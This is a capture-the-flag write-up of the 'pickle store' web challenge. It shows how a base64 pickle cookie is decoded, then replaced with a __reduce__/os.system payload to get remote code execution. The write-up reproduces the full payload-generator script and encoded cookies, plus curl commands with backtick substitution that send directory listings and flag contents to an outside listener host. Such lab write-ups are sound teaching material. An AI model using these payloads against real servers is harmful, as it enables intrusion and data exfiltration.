Challenge:

After I went bankrupt running my cookie store i decided to improve my security and start a pickle store. Turns out pickles are way more profitable!

http://13.48.133.116:50000

By visiting the url we get the shop page

Shop

By clicking buy to examine the request, we've found a base64 encoded cookie:
gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

By decoding it we got: }q(XmoneyqMXhistoryq]qXanti_tamper_hmacqX aa1ba4de55048cf20e0a7a63b7f8eb62qu.

Now the challenge name "pickle store" makes sense. The format looks like a pickle object, to make sure we had to try it.

import base64
import pickle

data = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
decoded_data = base64.b64decode(data)
pickle_object = pickle.loads(decoded_data)
print(pickle_object)

By running the previous script we got the following result

{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

Now its obvious the server is unserializing the cookie.

After checking the documentation of pickle we can find the warning that using user supplied data is considered dangerous.

Warning

By searching more for an exploitation using the keywords pickle rce we got this gist, let's try it ourselves

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

Now running python3 script.py whoami
We get gANjcG9zaXgKc3lzdGVtCnEAWAYAAAB3aG9hbWlxAYVxAlJxAy4=
We should now send this payload instead of the original cookie to get executed, but we have an obstacle here, our payload is causing an exception causing status 500 with internal server error page so we wont be able extract data in the http response

But to validate that our payload is getting executed on the server
we sent sleep 5 instead of whoami
and we've noticed that the server has waited for 5 seconds.

Now, its time to get our flag!
Using the same script we have generated a cookie to execute the following command

curl http://r3billions.com:1337/`ls`

We started listening on our server

$ nc -l 1337

Then we sent the request with our forged cookie and we got what we wanted

$ nc -l 1337
GET /flag.txt HTTP/1.1
Host: r3billions.com:1337
User-Agent: curl/7.58.0
Accept: */*

As we can see there's a file called flag.txt, lets forge a new cookie to read its content

python3 script.py 'curl http://r3billions.com:1337/`cat flag.txt | base64`'

We get base64 payload of gANjcG9zaXgKc3lzdGVtCnEAWDcAAABjdXJsIGh0dHA6Ly9yM2JpbGxpb25zLmNvbToxMzM3L2BjYXQgZmxhZy50eHQgfCBiYXNlNjRgcQGFcQJScQMu

and here is the server's request.

$ nc -l 1337
GET /d2F0ZXZye3AxY2tsM18xNV80bl8zdjNuX2IzNzczcl8zbmNyeXA3MTBuX20zN2gwZH0K HTTP/1.1
Host: r3billions.com:1337
User-Agent: curl/7.58.0
Accept: */*

by decoding it we get
watevr{p1ckl3_15_4n_3v3n_b3773r_3ncryp710n_m37h0d}